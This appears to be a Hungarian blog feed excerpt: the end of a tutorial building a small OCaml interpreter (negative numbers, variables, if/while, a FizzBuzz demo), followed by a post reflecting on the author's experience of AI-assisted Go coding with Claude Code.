<p>Egy dinamikusan típusos nyelvben ilyen helyeken születnek meg azok a szabályok, ami alapján a típus rendszer működik. Például az <code>eval_bool_arithmetic</code> elfogadhatna mindkét oldalon <code>VNumber</code>-t is és hozhatna egy szabályt, hogy a <code>0</code> az <code>false</code>, minden más <code>true</code>.</p>
<p>Apró érdekesség itt még, hogy az <code>==</code> és <code>&lt;&gt;</code> jelenleg csak számokra működik, nem tudjuk azt lefuttatni, hogy <code>print(true == true)</code>, a többi összehasonlító operátornak viszont nem feltétlenül van értelme boolean értékek esetén (bár ha a <code>false</code> az <code>0</code>, a <code>true</code> pedig <code>1</code>, akkor értelmezhetőek azok is). További döntések, amiket a világ alkotóiként meghozhatunk.</p>
<p>És ezzel sikeresen be is vezettünk egy új típust a programozási nyelvünkbe. Ha lefuttatjuk mondjuk a</p>
<pre><code class="hljs python">print(<span class="hljs-number">1</span> + <span class="hljs-number">1</span> * <span class="hljs-number">2</span> - <span class="hljs-number">8</span> &lt; <span class="hljs-number">3</span> <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> <span class="hljs-number">15</span> / <span class="hljs-number">5</span> &gt; <span class="hljs-number">7</span> - <span class="hljs-number">1</span> + <span class="hljs-number">2</span> - <span class="hljs-number">3</span>)
</code></pre>
<p>programot, akkor a következő kimenetet kapjuk:</p>
<pre class="console"><code>$ ocaml main.ml
true
</code></pre>
<p>De mi történik akkor, ha azt a programot futtatjuk le, hogy <code>print(-6 &lt; 0)</code>?</p>
<pre class="console"><code>$ ocaml main.ml
Parse error: Unexpected token 'TMinus'
</code></pre>
<p>Ó, jaj! Nem támogatjuk a forráskódban a negatív számokat.</p>
<p>Mint mindenre, erre is többféle megoldás létezik. Kezelhetjük szimplán a negatív számokat (<code>-</code> után számnak kell következnie) vagy lehet a <code>-</code> egyszerre egy és két változós operátor is (az <code>ESub</code> mellett mondjuk egy <code>ENeg</code>), így írhatunk mondjuk olyat, hogy <code>-(6 - 5)</code>. Én az előbbivel mentem, de érdemes megpróbálni leimplementálni a második változatot is a gyakorlás kedvéért.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TMinus</span> -&gt;
    ignore (consume ps);
    (<span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TNumber</span> n -&gt; ignore (consume ps); <span class="hljs-type">ENumber</span> (-<span class="hljs-number">1.</span> *. n)
    | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t))))
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Talán az egyetlen meglepő rész az a <code>(-1. *. n)</code>, ami a korábban már említett fura viszony eredménye az OCaml és a float között.</p>
<p>Újra megfuttatva a <code>print(-6 &lt; 0)</code> programot már a helyes megoldást kapjuk:</p>
<pre class="console"><code>$ ocaml main.ml
true
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/bracketing..numbers">módosításai megtekinthetőek itt</a>.</p>
<p>Most, hogy már vannak boolean és szám értékeink is, jó lenne őket eltárolni valahol. Itt az ideje a változók bevezetésének.</p>
<p><a name="9"></a></p>
<h3>Változók</h3>
<p>A lexikai és szintaktikai elemzés oldalán nem lesznek nagy meglepetések, de a kiértékelés egy kicsit bonyolódni fog. Kezdjük is a szokásos tokeneknél:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TEqual</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A lexer-ben már megágyaztunk neki, amikor az <code>==</code> operátort felvettük, csak a hibaüzenetet kell kicserélni az új működésre.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">'='</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TEq</span> :: tokens)
  | _   -&gt; loop (<span class="hljs-type">TEqual</span> :: tokens))
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A szintaxis fa kap egy új kifejezést a változókhoz és egy új utasítást az értékadáshoz.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> expr =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">EVar</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> stmt =
  | <span class="hljs-type">SPrint</span> <span class="hljs-keyword">of</span> expr
  | <span class="hljs-type">SAssign</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span> * expr
</code></pre>
<p>Az egyszerű értékek kezelése során minden ismeretlen azonosítót változóként fogunk kezelni, majd a kiértékelés eldönti, hogy tényleg létezik-e.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TIdentifier</span> i -&gt; ignore (consume ps); <span class="hljs-type">EVar</span> i
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Az utasításoknál pedig ha valami azonosítóval kezdődik, akkor arra számítunk, hogy az egy értékadás lesz.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TIdentifier</span> t -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TEqual</span>;
    <span class="hljs-type">SAssign</span> (t, parse_expr ps)
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Rá is térhetünk az izgalmas részre, a kiértékelésre. A kód futtatása során valahol tárolnunk kell, hogy melyik változónak mi az értéke.</p>
<p>Egy komolyabb programozási nyelvben ez egy bonyolultabb kérdés lenne, mivel kezelnünk kellene a változók hatáskörét is, de a mi kis nyelvünk még nem jutott el olyan érettségi szintre, hogy legyenek hatáskörök, így nekünk elég lesz egy hash-tábla a kulcs-értékek tárolására.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> make_env <span class="hljs-literal">()</span> = 
  <span class="hljs-type">Hashtbl</span>.create <span class="hljs-number">16</span>

<span class="hljs-keyword">let</span> set_env env name <span class="hljs-keyword">value</span> =
  <span class="hljs-type">Hashtbl</span>.replace env name <span class="hljs-keyword">value</span>

<span class="hljs-keyword">let</span> lookup_env env name =
  <span class="hljs-keyword">match</span> <span class="hljs-type">Hashtbl</span>.find_opt env name <span class="hljs-keyword">with</span>
  | <span class="hljs-type">Some</span> v -&gt; v
  | <span class="hljs-type">None</span> -&gt; raise (<span class="hljs-type">RuntimeError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Undefined variable: %s"</span> name))
</code></pre>
<p>A <code>make_env</code> csinál egy üres környezetet, a <code>set_env</code> segítségével beállíthatjuk egy változó értékét, a <code>lookup_env</code> pedig visszaadja ezt az értéket vagy elszáll hibával, ha nem létezik az adott nevű változó.</p>
<p>Az <code>eval</code> és <code>exec</code> részen elég nagy átalakításokra van szükség. Mindkét függvény meg kell, hogy kapja az <code>env</code> változót, amit az összes kapcsolódó hívásnál át kell passzolnunk.</p>
<p>Ezen kívül kezelnünk kell az új kifejezést, ami beolvassa a változó értékét.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> eval env expr =
  <span class="hljs-keyword">match</span> expr <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">EVar</span> v -&gt; lookup_env env v
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Valamint az új utasítást is, ami beállítja egy változó értékét. A változó értéke itt lehet egy kifejezés is, úgyhogy azt előbb ki kell számolnunk.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> exec env stmt =
  <span class="hljs-keyword">match</span> stmt <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">SAssign</span> (name, <span class="hljs-keyword">value</span>) -&gt;
    set_env env name (eval env <span class="hljs-keyword">value</span>)
</code></pre>
<p>Az új <code>env</code> változó miatt minimális változások történtek a &quot;main&quot; függvényben is:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> env = make_env <span class="hljs-literal">()</span> <span class="hljs-keyword">in</span>
<span class="hljs-type">List</span>.iter (exec env) stmts
</code></pre>
<p>A kimenet pedig reményeink szerint a következő lesz:</p>
<pre class="console"><code>$ ocaml main.ml
5                                 
6
true
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/numbers..variables">módosításai megtekinthetőek itt</a>.</p>
<p>Alakul a nyelv, de valami még hiányzik... a hab a mi kis grammatikai tortánkra.</p>
<p><a name="10"></a></p>
<h3>Vezérlési szerkezetek</h3>
<p>Kezd nagyon hosszúra nyúlni ez a bejegyzés, de nem érezném igazi nyelvnek az alkotásunkat a jó öreg <code>if</code>, <code>elif</code>, <code>else</code> és <code>while</code> nélkül. Vegyük is fel hozzájuk az új tokeneket. A négy kulcsszó mellett a két kapcsos zárójel is újdonság lesz a nyelvben.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TIf</span>
  | <span class="hljs-type">TElseIf</span>
  | <span class="hljs-type">TElse</span>
  | <span class="hljs-type">TWhile</span>
  | <span class="hljs-type">TLeftCurlyBracket</span>
  | <span class="hljs-type">TRightCurlyBracket</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A <code>tokenize_name</code>-ben a szokott módon lekezeljük az új neveket.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">"if"</span>    -&gt; <span class="hljs-type">TIf</span>
| <span class="hljs-string">"elif"</span>  -&gt; <span class="hljs-type">TElseIf</span>
| <span class="hljs-string">"else"</span>  -&gt; <span class="hljs-type">TElse</span>
| <span class="hljs-string">"while"</span> -&gt; <span class="hljs-type">TWhile</span>
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A <code>tokenize</code>-ban pedig az új zárójeleket.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">'{'</span> -&gt; step ls; loop (<span class="hljs-type">TLeftCurlyBracket</span> :: tokens)
| <span class="hljs-string">'}'</span> -&gt; step ls; loop (<span class="hljs-type">TRightCurlyBracket</span> :: tokens)
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Az utasítások bővítése során belefutunk egy kis újdonságba, az <code>if</code> és a <code>while</code> is utasítások listáját kapja paraméterül.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> stmt =
  | <span class="hljs-type">SPrint</span> <span class="hljs-keyword">of</span> expr
  | <span class="hljs-type">SAssign</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span> * expr
  | <span class="hljs-type">SIf</span> <span class="hljs-keyword">of</span> expr * stmt <span class="hljs-built_in">list</span> * stmt <span class="hljs-built_in">list</span>
  | <span class="hljs-type">SWhile</span> <span class="hljs-keyword">of</span> expr * stmt <span class="hljs-built_in">list</span>
</code></pre>
<p>És egyébként is, hol van az <code>elif</code> és az <code>else</code>? Hát, azok olyan dolgok, amiket csak szintaktikai cukornak szokás hívni. Kényelmi funkciók a nyelv felhasználóinak számára, amiknek a szintaxis fa szintjén már nem kell létezni. Az <code>SIf(feltétel, igaz utasítások, hamis utasítások)</code> egyedül le tud kezelni minden esetet:</p>
<ul>
<li>ha van <code>elif</code> ág, akkor a hamis utasítások egy egy elemű lista lesz, amiben egy újabb <code>SIf()</code> van</li>
<li>ha nincsen <code>else</code> ág, akkor az utolsó <code>SIf()</code> hamis utasításai egy üres lista lesz</li>
</ul>
<p>Az utasítások feldolgozásán egy kicsit módosítanunk kell, eddig <code>TEOF</code>-ig olvastuk be az utasításokat, de innentől lesznek olyan eseteink, amikor az utasítások a következő csukó kapcsos zárójelig tartanak.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> parse_stmts ps stop_token =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop stmts =
    skip_newlines ps;
    <span class="hljs-keyword">if</span> (peek ps) &lt;&gt; stop_token <span class="hljs-keyword">then</span>
      loop (parse_stmt ps :: stmts)
    <span class="hljs-keyword">else</span>
      stmts
  <span class="hljs-keyword">in</span>

  <span class="hljs-type">List</span>.rev (loop <span class="hljs-literal">[]</span>)
</code></pre>
<p>A <code>parse_program</code>-ot is hozzá kell igazítani a változáshoz:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> parse_program tokens =
  <span class="hljs-keyword">let</span> ps = make_parser tokens <span class="hljs-keyword">in</span>
  parse_stmts ps <span class="hljs-type">TEOF</span>
</code></pre>
<p>A <code>parse_stmt</code> egy gyanúsan rövid módosítással úszta meg a történetet:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TIf</span> -&gt;
    parse_if ps
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Aztán persze jön a tényleges kód, ami az <code>if</code> ágat kezeli.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_if ps =
  ignore (consume ps);
  expect ps <span class="hljs-type">TLeftParen</span>;
  <span class="hljs-keyword">let</span> cond = parse_expr ps <span class="hljs-keyword">in</span>
  expect ps <span class="hljs-type">TRightParen</span>;

  expect ps <span class="hljs-type">TLeftCurlyBracket</span>;
  <span class="hljs-keyword">let</span> then_branch = parse_stmts ps <span class="hljs-type">TRightCurlyBracket</span> <span class="hljs-keyword">in</span>
  expect ps <span class="hljs-type">TRightCurlyBracket</span>;

  <span class="hljs-keyword">let</span> else_branch = parse_else ps <span class="hljs-keyword">in</span>

  <span class="hljs-type">SIf</span> (cond, then_branch, else_branch)
</code></pre>
<p>Először a feltételt olvassuk be, aminél számítunk arra, hogy <code>(</code> és <code>)</code> között van. Aztán az utasításokat, amik a feltétel teljesülése során futnak majd le, ezeknek <code>{</code> és <code>}</code> között kell lenniük. Az <code>else</code> ágát pedig egy másik függvény kezeli le.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_else ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TElseIf</span> -&gt;
    [ parse_if ps ]
  | <span class="hljs-type">TElse</span> -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TLeftCurlyBracket</span>;
    <span class="hljs-keyword">let</span> stmts = parse_stmts ps <span class="hljs-type">TRightCurlyBracket</span> <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightCurlyBracket</span>;
    stmts
  | _ -&gt; <span class="hljs-literal">[]</span>
</code></pre>
<p>Az <code>elif</code> ág kezelése visszahív a <code>parse_if</code>-re, de az eredményét egy listában adja vissza. Az <code>else</code> ág pedig feldolgozza az utasításokat, amik utána következnek.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TWhile</span> -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TLeftParen</span>;
    <span class="hljs-keyword">let</span> cond = parse_expr ps <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightParen</span>;

    expect ps <span class="hljs-type">TLeftCurlyBracket</span>;
    <span class="hljs-keyword">let</span> stmts = parse_stmts ps <span class="hljs-type">TRightCurlyBracket</span> <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightCurlyBracket</span>;

    <span class="hljs-type">SWhile</span> (cond, stmts)
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>A <code>while</code> kezelése szinte azonos az <code>if</code>-fel, csak nincsen hozzá <code>else</code> ág.</p>
<p>Ezzel a feldolgozás végére is értünk, jöhet a kiértékelés. Először is kicsit átrendeztem az <code>exec</code> függvényt, hogy több utasítást várjon bemenetként és az eredeti <code>exec</code> tartalma átvándorolt az <code>exec_stmt</code>-be.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> exec env stmts =
  <span class="hljs-type">List</span>.iter (exec_stmt env) stmts

<span class="hljs-keyword">and</span> exec_stmt env stmt =
  <span class="hljs-keyword">match</span> stmt <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">SIf</span> (cond, then_branch, else_branch) -&gt;
    (<span class="hljs-keyword">match</span> eval env cond <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> <span class="hljs-literal">true</span>  -&gt; (exec env then_branch)
    | <span class="hljs-type">VBool</span> <span class="hljs-literal">false</span> -&gt; (exec env else_branch)
    | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"If condition must be a boolean"</span>))
  | <span class="hljs-type">SWhile</span> (cond, stmts) -&gt;
    <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop <span class="hljs-literal">()</span> =
      <span class="hljs-keyword">match</span> eval env cond <span class="hljs-keyword">with</span>
      | <span class="hljs-type">VBool</span> <span class="hljs-literal">true</span> -&gt;
        exec env stmts;
        loop <span class="hljs-literal">()</span>
      | <span class="hljs-type">VBool</span> <span class="hljs-literal">false</span> -&gt; <span class="hljs-literal">()</span>
      | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"While condition must be a boolean"</span>)
    <span class="hljs-keyword">in</span>
    loop <span class="hljs-literal">()</span>
</code></pre>
<p>Ezt a módosítást rögtön használja is az <code>SIf</code> és az <code>SWhile</code> kezelése. Az <code>SIf</code>-nél mintaillesztéssel döntjük el, hogy melyik ág utasításait futtassuk le. Az <code>SWhile</code>-nál pedig rekurzióval futtatjuk meg a kapcsolódó utasításokat, amíg a feltétel hamis nem lesz.</p>
<p>A &quot;main&quot; függvényben csak az <code>exec</code> használatát kell kijavítanunk.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> env = make_env <span class="hljs-literal">()</span> <span class="hljs-keyword">in</span>
exec env stmts
</code></pre>
<p>Aztán futtathatunk valamit, ami végre igazi kódnak néz ki:</p>
<pre><code class="hljs javascript">fizzbuzz = <span class="hljs-number">-15</span>
fizz = <span class="hljs-number">-3</span>
buzz = <span class="hljs-number">-5</span>
i = <span class="hljs-number">1</span>
<span class="hljs-keyword">while</span> (i &lt;= <span class="hljs-number">15</span>) {
  <span class="hljs-keyword">if</span> (i % <span class="hljs-number">15</span> == <span class="hljs-number">0</span>) {
    print(fizzbuzz)
  } elif (i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>) {
    print(fizz)
  } elif (i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>) {
    print(buzz)
  } <span class="hljs-keyword">else</span> {
    print(i)
  }
  i = i + <span class="hljs-number">1</span>
}
</code></pre>
<p>Sajnos nem léteznek a stringek a mi kis világunkban, úgyhogy csak így lehetett megoldani, de a kimenet így is magáért beszél. <a href="https://github.com/EnterpriseQualityCoding/FizzBuzzEnterpriseEdition">Vállalati szintű problémákat</a> oldunk meg egyszerű eleganciával.</p>
<pre class="console"><code>$ ocaml main.ml
1
2
-3
4
-5
-3
7
8
-3
-5
11
-3
13
14
-15
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/variables..control-flow">módosításai megtekinthetőek itt</a>.</p>
<p><a name="11"></a></p>
<h3>Itt a vég</h3>
<p>Ide is eljutottunk hát. <em>&quot;A gép forog, az alkotó pihen.&quot;</em> Messze a leghosszabb írás, ami eddig a blogon megjelent. Gratulálok mindenkinek, akinek sikerült eljutnia idáig. Remélem okoztam néhány éjszakába nyúló programozós estét.</p>
<p>És a <a href="https://github.com/deadlime/the-recursive-descent/blob/main/main.ml">végeredmény</a>? Alig 500 sorban írtunk valamit, ami programozási nyelvnek nevezhető (még ha elég korlátolt is). Engem meglepett a végén, hogy milyen rövidre sikeredett.</p>
<p>Számtalan bővítési lehetőség és a hozzá tartozó kihívások rejlenek még ebben a projektben, de egy jó alapot sikerült összerakni a további kísérletezgetéshez. Csak hogy néhány logikus következő lépést említsek:</p>
<ul>
<li>a hibakezelés kibővítése (<code>ParseError</code> és <code>RuntimeError</code> esetén is lehessen tudni, hogy hol volt a hiba az eredeti forráskódban)</li>
<li>rövidzár-kiértékelés boolean kifejezéseknél (ha <code>a and b</code> esetén <code>a</code> false-ra értékelődik ki, akkor nem kell <code>b</code>-t kiértékelni)</li>
<li>függvények (és a velük jövő probléma a változók hatásköreivel)</li>
<li>string típus és a hozzá tartozó operátorok, függvények/utasítások</li>
<li>listák és asszociatív tömbök</li>
</ul>
<p>Én viszont zárom soraimat, köszönöm a figyelmet.</p>
<p><code>TEOF</code></p>

]]></content:encoded>
        </item>
            <item>
            <title>28 hónappal később</title>
            <link>https://deadlime.hu/2026/04/13/28-honappal-kesobb/</link>
            <pubDate>Mon, 13 Apr 2026 15:42:46 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[AI]]></category>
                    <category><![CDATA[programozás]]></category>
                    
            <guid isPermaLink="false">0baa2bd579dc030df4b565f34446bd22</guid>
            <description>Újabb kalandok az AI-támogatott kódolás területén</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/ai_v2.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Az eredeti kép ChatGPT-vel felfrissített változata</p>

<p>Valójában 36 hónappal később, de nem tudtam kihagyni a gyenge <a href="https://hu.wikipedia.org/wiki/28_nappal_k%C3%A9s%C5%91bb">filmes</a> <a href="https://hu.wikipedia.org/wiki/28_h%C3%A9ttel_k%C3%A9s%C5%91bb">utalást</a>. Szóval három évvel ezelőtt megpróbáltam egy <a href="https://deadlime.hu/2023/04/06/ezt-dobta-a-gep/">hobbi projekt ötletet kigeneráltatni AI segítségével</a>. A kísérlet nagyjából sikerrel zárult, végül mégsem született olyan kód, amit szívesen futtatnék élesben. Innen nézve a dolgot úgy tűnik mégsem lett kész ezt a projekt. Három év pedig hosszú idő, biztos sokat fejlődött ez idő alatt a technológia, lehet érdemes újra megpróbálni.</p>
<p>A projektről röviden annyit érdemes tudni, hogy RSS feed-eket olvas periodikusan és az ott talált feed elemekből email-eket generál, amiket IMAP-on keresztül tölt fel egy email fiókba.</p>
<h3>Első nekifutás</h3>
<p>Bár manapság már egyre kevésbé népszerű ez a hozzáállás, de én még szeretem érteni a &quot;saját&quot; kódomat, ami készül. Ennek tükrében úgy indítottam a projektet, hogy én írom a kódot, az AI pedig megtanít engem, hogy hogyan kell Go-ban fejleszteni.</p>
<p>Lehetőség szerint minél kevesebb külső függőséget szerettem volna használni, hogy elsősorban a nyelvvel és a hozzá járó standard könyvtárral ismerkedjek meg. Nyilván egy SQLite könyvtárat nem fogok újra leimplementálni, de például a megálmodott pipeline-jellegű architektúrához használhattam volna kész megoldásokat, de inkább megpróbáltam a Go channel-ek, context-ek és a párhuzamos futtatás világában jobban elmélyülni.</p>
<p>Ez egy olyan terep, ahol a hozzá nem értő ember (én) könnyen lábon tudja lőni magát és az AI (a maga lelkesedésével) ebben még segítségünkre is siet. Ha egyedül is jól bele tudsz zavarodni dolgokba, akkor AI segítségével kétszer annyira összezavarjátok majd egymást. Az AI elbizonytalanít téged, te minden egyes rezdüléseddel befolyásolod az AI-t és a végén inkább keresel valami segédanyagot, amit az AI-boom előtt még egy ember írt.</p>
<p>Ahogy az lenni szokott egy idő után beleuntam az oktatós projektbe és parkolópályára került az egész. Nagyjából addig sikerült eljutni, hogy volt egy működő prototípus és kb. a pipeline fele létezett már &quot;production ready&quot; állapotban.</p>
<h3>Második nekifutás</h3>
<p>Később, mikor újra felvettem a fonalat, kicsit máshogy álltam a dologhoz. Már nem akartam tanulni, csak be akartam fejezni a projektet. Nem azért, mert szükségem volt a működő programra, inkább csak úgy éreztem, hogy úgy kaphatok egy jobb képet az eszközökről, ha végigvittem vele egy projektet.</p>
<p>Az eszköztárat ehhez igazítva Claude Code-dal mentem tovább, de nem a manapság divatos &quot;eresszünk rá 30 agent-et a problémára és majd meglátjuk mire jutnak&quot; hozzáállással. Az első körös nekifutás egy elég jó alapot adott ahhoz, hogy kis lépésekben tudjunk haladni. Minden lépést felügyeltem és szükség esetén korrigáltam, de kézzel nem végeztem lényegi módosításokat a projekten. Egészen a legvégéig meg sem próbáltam lefuttatni.</p>
<p>Nagyjából fél nap és 35 dollár elégetése után lett egy késznek mondható szoftverem. Mivel nem vagyok Go fejlesztő, így sajnos azt nem tudom hitelesen megítélni, hogy mennyire elegáns vagy épp mennyire felel meg a nyelv adottságainak az elkészült mű. Talán ez már nem is annyira lényeges, lehet, hogy az embereknek abba kell hagyni a kód olvasgatását.</p>
<p>Az end-to-end tesztek még kihoztak pár potenciális problémát (főleg a párhuzamosság környékén), a próbafuttatás valódi feed adatokkal pedig aztán még néhányat (túl megengedő reguláris kifejezések, nem megfelelő enkódolások), de semmi eget rengető.</p>
<p>A végén még kézzel megírtam a <code>.gitlab-ci.yml</code>-t a GitLab CI-hez és a <code>Dockerfile</code>-t az élesben futtatáshoz, mert úgy éreztem az gyorsabb lesz, mint szócsatázni az AI-jal.</p>
<h3>Tapasztalatok</h3>
<h4>A kimenet</h4>
<p>Hajlamos vagyok úgy gondolni, hogy minél bonyolultabb a téma, annál kevésbé lehet a kimenetben (akár szöveges, akár kód) megbízni. Főleg akkor, ha kevéssé jártas az ember az adott témában. Alapvetően egy jó, személyre szabott tanulási (vagy kód elmagyarázási) eszköznek tartom, de vannak fenntartásaim a kimenettel kapcsolatban.</p>
<p>A másik aspektusa ennek az, hogy mennyire befolyásolható. Ha bedobok egy ötletet, akkor hajlamos azzal menni, de én attól még nem lehetek biztos abban, hogy tényleg az én alternatívám volt a jobb ötlet, vagy csak a megfelelési kényszer miatt választja a megoldásomat.</p>
<p>Van úgy, hogy kérdésként bedobok egy ötletet, hogy &quot;vajon működne-e ez így vagy úgy&quot;. Az AI persze rámondja, hogy &quot;remek meglátás, rögtön neki is állok megvalósítani&quot;. Aztán 10-20 perceket vitatkozik saját magával, elkezdi feltúrni az egész projektet, látszik, hogy nem jut egyről a kettőre, de nem fog magától leállni. Végül inkább leállítom és nyomok egy <code>git restore</code>-t.</p>
<h4>Munkavégzés</h4>
<p>Ez szorosan összefügg a kimenet minőségével. Én azt a következtetést vontam le, hogy nem szívesen hagynám szabadon garázdálkodni, hogy azt csináljon, amit akar. Minél hamarabb el kell csípni, ha rossz irányba indul el, meg kell kérdőjelezni az ötleteit, alternatívákat kell felhozni (vagy néha csak megfelelő kulcsszavakat). Ez viszont csak úgy tud működni, ha megvan a hozzáértés valamilyen szinten, hogy meg tudja mondani az ember, ha rossz irányba tartanak a dolgok.</p>
<p>Aztán ott van még az a furcsaság, hogy a végén a <code>.gitlab-ci.yml</code> és <code>Dockerfile</code> fájlokat kézzel írtam meg. Nem hiszem, hogy szimplán csak azért történt, mert a nap végén már elegem volt a csevegésből és csinálni akartam valamit. Inkább valami olyasmi lehetett, hogy ha valamihez eléggé értek és úgy gondolom, hogy nem sok idő megcsinálni, akkor inkább megcsinálom, mint hogy ugyanannyi vagy több idő alatt megmondjam másnak, hogy hogyan csinálja meg. Főleg ha annak a másik félnek semmilyen előnye nem származik abból, hogy ő csinálja (mert például nem képes tanulni belőle).</p>
<h4>Sebesség</h4>
<p>Jelen esetben hobbi projekthez használtam, úgyhogy nem sietek sehova, nem azzal van baj, hogy lassú lenne, csak az interakció mintája valahogy kényelmetlen. Ahhoz egy kicsit lassú, hogy ne unatkozzon közben az ember, de ahhoz túl gyors, hogy érdemben lehessen a gondolkodási szünetekben valami mással foglalkozni.</p>
<p>Lehetne ugyan több szálon folytatni beszélgetéseket (nem próbáltam), de szerintem sem én, sem az AI nem elég jó ehhez a multitasking területén.</p>
<h4>Ár-érték arány</h4>
<p>Aztán ott van még az ár kérdése. Mint azt már említettem, csak a második körben 35 dollárt locsoltam el erre a projektre. Az első kört nem tudom pontosan, mert egy havi előfizetés részeként volt megvalósítva, de tippre egy 10-20 dollár az is lehetett.</p>
<p>Hogy ez soknak vagy kevésnek számít, azt nem tudnám megmondani, de amikor a végén kijött ez az összeg, akkor arra gondoltam, hogy ha valaki ezt a kész szoftvert 35 dollárért próbálná nekem eladni, akkor bizony nem venném meg.</p>
<h3>A szép új világ, második felvonás</h3>
